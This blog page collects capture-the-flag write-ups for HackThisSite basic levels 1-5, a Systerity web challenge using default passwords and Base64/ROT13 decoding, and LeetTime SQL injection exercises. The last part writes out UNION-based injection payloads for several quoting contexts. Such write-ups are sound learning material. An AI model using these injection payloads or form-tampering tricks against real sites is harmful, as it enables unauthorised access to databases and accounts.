HackThisSite Basic Challenges 1-5


In this post I will be documenting most of the Basic Challenges found on HackThisSite.org. Completing these challenges will give you a very basic overview of HTML and Javascript Injection. The rest of the challenges will be documented in another post.

Basic – Level 1

Description: This level is what we call "The Idiot Test", if you can't complete it, don't give up on learning all you can, but, don't go begging to someone else for the answer, thats one way to get you hated/made fun of. Enter the password and you can continue.

The purpose of the first challenge is to test your HTML knowledge. Although nothing appears to be visible on the page, the password is commented out on the source code using Javascript. Inspecting the source is how this challenged will be solved.

<!-- the first few levels are extremely easy: password is 488918f4 -->


Basic – Level 2

Description: Network Security Sam set up a password protection script. He made it load the real password from an unencrypted text file and compare it to the password the user enters. However, he neglected to upload the password file...

This challenge will force you to comprehend the scenario that is being presented. Because Sam forgot to upload the password file, the password is going to be blank.

Basic – Level 3

Description: This time Network Security Sam remembered to upload the password file, but there were deeper problems than that.

This challenge will once again test your knowledge on basic HTML. Every form in HTML is enclosed within tags. Inspecting the source code of this form will provide an attacker with more insight:

<form action="/missions/basic/3/index.php" method="post">
<input type="hidden" name="file" value="password.php" />
<input type="password" name="password" />
<input type="submit" value="submit" /></form>

The action will tell the form where to go next once the form is submitted. The method is how this information will be transmit, $_POST suggest that the information will be sent to the server for interpretation, and $_GET suggests that there will be information that will be obtained from the server. In this case we will be sending the password.

It is important to understand how forms are made in HTML to complete this challenge. tags tell the form if the characteristic of a field is going to be a text box, a radio button, a text area, etc. This feature is denoted by type . The values can be “text” for text boxes, “password” for input to be obfuscated, and “hidden” for the field to be hidden. The name field in a form gives that input type a unique name, this is useful when using DOM because it knows how to access those specific fields using their given name. This becomes useful when utilizing Javascript injection (more ahead about this). The value is simple a name that shows up as a description of what that field is.

The page for this challenge only shows ONE text box, but as you can see there are TWO shown on the source. You can change the value “type” to “text” to show this form.

Although this does not do much but show the extra text box, it is interesting to see the value of this field – password.php. This challenge is highly unrealistic but it tells us the file where the password is stored. Pointing your browser to https://www.hackthissite.org/missions/basic/3/password.php solves this challenge.

Basic – Level 4

Description: This time Sam hardcoded the password into the script. However, the password is long and complex, and Sam is often forgetful. So he wrote a script that would email his password to him automatically in case he forgot. Here is the script

I found this challenge to be interesting because it can be completed in more than one way. One way is by using your knowledge on HTML, which is the easier way out of the two, and the second one is by using your knowledge on Javascript, which can be accomplished by using Javascript Injection to modify form values. Lets take a look at both these methods. The first method will cover HTML.

Method One – Editing HTML.

Lets begin by taking a look at how the form is set up in the source code:

<form action="/missions/basic/4/level4.php" method="post">
<input type="hidden" name="to" value="sam@hackthissite.org" />
<input type="submit" value="Send password to Sam" />

<form action="/missions/basic/4/index.php" method="post">
<input type="password" name="password" />
<input type="submit" value="submit" />

This method is very similar to challenge 3, where there is a hidden form in the source. If you pay attention to the second line of the source code above, you will notice that the password is being sent to sam@hackthissite.org. This is the value that we need to edit. By changing the input type to “text” will cause the field to appear on the page; allowing you to edit the email and submit the form, concluding this challenge:

Method two – Javascript Injection.
The last method to solve this challenge is by editing the form my tampering with the elements with Javascript. Lets revisit our source code:

<form action="/missions/basic/4/level4.php" method="post">
<input type="hidden" name="to" value="sam@hackthissite.org" />
<input type="submit" value="Send password to Sam" />

<form action="/missions/basic/4/index.php" method="post">
<input type="password" name="password" />
<input type="submit" value="submit" />

In order to pull this attack off, it is necessary to understand how javascript handles forms. Every form in Javascript is contained in an array called forms[x], where x is the number of forms on the page starting from zero. This is important for this challenge because the value that we want to edit on this page is on the first form, therefore in our injection point, we will be using forms[0]. Changing the value of sam@hackthissite.org can be accomplished in two ways. The first is accessing the name of the input type and inserting our own value, and the second way is by modifying the element that corresponds to that value and inserting our own.

Lets take a closer look at our code:

<input type="hidden" name="to" value="sam@hackthissite.org" />

If we wanted to get the value of this field, our injection becomes:


Everything on this injection is derived from the code that was supplied at source. forms[0] is included because its the first form, and “to.value” is included because to is the value of the field’s name. Inserting the above injection in the URL will display “sam@hackthissite.org”.

At this point we can specify the value for this field with:


In order to pass this challenge, you need to send the password to the email you registered on HTS.

The last method to finish this challenge is by modifying the element that corresponds to that value and editing it. To accomplish this, we first need to understand what are elements when it comes to javascript. An HTML element is an single component of a form. These components represent a value within the forms, they can represent values throughout the entire markup. Take a look at the source code below provided by the challenge:

<input type="hidden" name="to" value="sam@hackthissite.org" />
<input type="submit" value="Send password to Sam" />

There are two values for the input tags, the first value is the email – sam@hackthissite.org, and the second value is “Send password to Sam”. We can use their elements to change their values. We will grab the first available element and see the value. This can be done with:


The page will display an alert box that says “sam@hackthissite.org”. If we change the value of our element to 1:


The page will display an alert box that says “Send password to Sam”. From here you can change the value of the email using its element to complete the challenge:


Concluding the challenge in two different ways.

Basic – Level 5

Description: Sam has gotten wise to all the people who wrote their own forms to get the password. Rather than actually learn the password, he decided to make his email program a little more secure.

This challenge is very similar to the previous challenge, I was not sure if there was suppose to be a difference, however, I did complete it the same way as challenge 4.


I will conclude the first few challenges here and document the rest another in another post. This thread will be updated with a continuation link to the next challenges.

Thank you for reading!


Systerity Web Hacking Challenge


Today I will be documenting a Web Hacking Challenge created by a group known as Systerity. This challenge will not involve Web Application exploitation but rather your analytical filters encompassing:

  • Directory Traversals
  • ROT 13 Decoding
  • Base64 Decoding
  • Basic Comprehension Skills

Getting To Know Your Target

The challenge is located at:

The goal of this challenge is simple – you need to report the Hackers IP Address using a reporting tool that is built in the Content Management System. The challenge starts off with the site being defaced by the hacker, with an image that says “HackeD”. Analyzing the source code (poorly written HTML) is a good way to find where this image is located in the site:

<img src="admin/images/skidded.jpg">

We can traverse to the directory of where the image is being hosted:

And i find a “readme.txt” file that gave me more information about the directories. In my mind, every directory (at least the ones that mattered for this challenge) contained a “readme.txt” file that would give me more information about something that is relevant for my next move.

I went to the parent folder and traversed to the admin directory:

I was greeted for with an Admin Panel:

For man-made challenges like these, it is always a good idea to test for SQL Injection vulnerabilities or fuzz the forms for input validation. I did attempt it for this challenge, but it was beyond the scope of how to complete it and input was sanitized as far as I could tell.

I clicked “Find Password”:

But in order to get the current password you need to find the old password. I had to think of an alternative, then I remembered that there was “readme.txt” file in every directory that contained more information. I wanted to test if this was the case.


Sure enough, the contents inscribed provided me with the default password “alpine”, which possibly was not changed by the admin.

Going back to the “Find Password” page, issuing “alpine” as the old password gave me access to the current password – “alpine2”.

I went back to the admin login panel and authenticated as the admin:

At this point I could not think that the challenge was over but only has begun. I had a mission, and that was to find the IP Address of the attacker and report it. So I did some detective work.

The “User Accounts” link gave me a list of users, which could be useful:


The checked the user logs and found no traces of anything worth documenting, however for the admin logs; I did find something:

[30/12/14-01:33] logged off.

It was apparent to me that was the IP of the hacker that defaced the site. That solves one piece of this mystery but I still needed to find this reporting tool to blacklist the attacker. The last thing that I could find was a corrupted backup:


This part of the challenge was basic. Any files that include numbers on their names are worth changing, specially with files like logs or files that include IDs in their name because they are formatted to increment when other files are added. With that notion in mind, changing the name from backup_001 to backup_002, backup_003, etc, may give you varying results. For this challenge, the only valid file after backup_001 was backup_002, other backups_00x we not existent.



Although it was not very useful, I did try to check the following location based on the what was inside encoded(); and there was nothing useful there. This message is encoded in Base64, so I decoded it and got:


Va guvf sbyqre lbh unir fbzr gbbyf lbh pna hfr. Gur zbfg cbchyne bar vf gur "ercbeg" gbby. Guvf jvyy ercbeg gur VC bs nal hfre lbh srry unf pebffrq n yvar. Vg pna or sbhaq va /gbbyf/ercbeg.cuc

Gnxr n ybbx nebhaq naq lbh'yy yvxr jung lbh'ir frra.

This message did not make any sense to me when I fist seen it. I took some pen and paper and spent 10 minutes to figure out how it was encoded. After several sheets of paper and later realizing the actual name of this encoding scheme, all of these characters were placed 13 places after from their original letter. This is also known at ROT13 or Rotation 13.

After decoding, the message started to make sense:

Webmaster, In this folder you have some tools you can use. The most popular one is the "report" tool. This will report the IP of any user you feel has crossed a line. It can be found in /tools/report.php Take a look around and you'll like what you've seen.

Finally, we traverse to our reporting tool located:

The challenge is done once the IP Address is reported:


Thank you for taking the time to view my post. Understanding encoding schemes was the general focus of this challenge. I will try to post the other challenges from Systerity, they’ve all been fun to solve!

Happy Hunting!

LeetTime.net Death Row SQL Injection Challenges

This post will document some challenges found in LeetTime.net for their Death Row SQL Injection. I wanted to explain how to exploit the Web Applications and why exploitation works.  A basic understanding of SQL may be needed for the comprehension of these exercises. The pseudo code that is being displayed for these examples are just fictional representations of what the code in the back-end may appear to be.

Death Row Injection – Challenge 1.

The first challenge is very basic. There is not much syntax to make up and it usually follows the same methodology for exploiting SQL Injections.

Vulnerable Parameter – Server Request:

Server Response – Error On Page:
SQL Syntax Error around ' and id=1' limit 1

Possible Pseudo Code:

SELECT * FROM table WHERE ID=1 limit 1

Why It Works – Server Request:

SELECT * FROM table WHERE ID=-1 union select 1,version(),3,4,5-- limit 1


Death Row Injection – Challenge 2.

Vulnerable Parameter – Server Request:

Server Response – Error On Page:
SQL Syntax Error around '))

Possible Pseudo Code:

SELECT * FROM table WHERE (ID=(1))

Why It Works – Server Request:

SELECT * FROM table WHERE (ID=(-1)) union select 1,version()--+-))


Death Row Injection – Challenge 3.

Vulnerable Parameter – Server Request:

Server Response – Error On Page:
SQL Syntax Error around "1"" limit 1

Possible Pseudo Code:

SELECT * FROM table WHERE ID="1" limit 1

Why It Works – Server Request:

SELECT * FROM table WHERE ID="-1" union select 1,2,3,version(),5--+-" limit 1


Death Row Injection – Challenge 4.

Vulnerable Parameter – Server Request:

Server Response – Error On Page:
SQL Syntax Error around "1")

Possible Pseudo Code:

SELECT * FROM table WHERE ID=("1")

Why It Works – Server Request:

SELECT * FROM table WHERE ID=("-1") union select 1,2,3,version(),5,6,7--+-")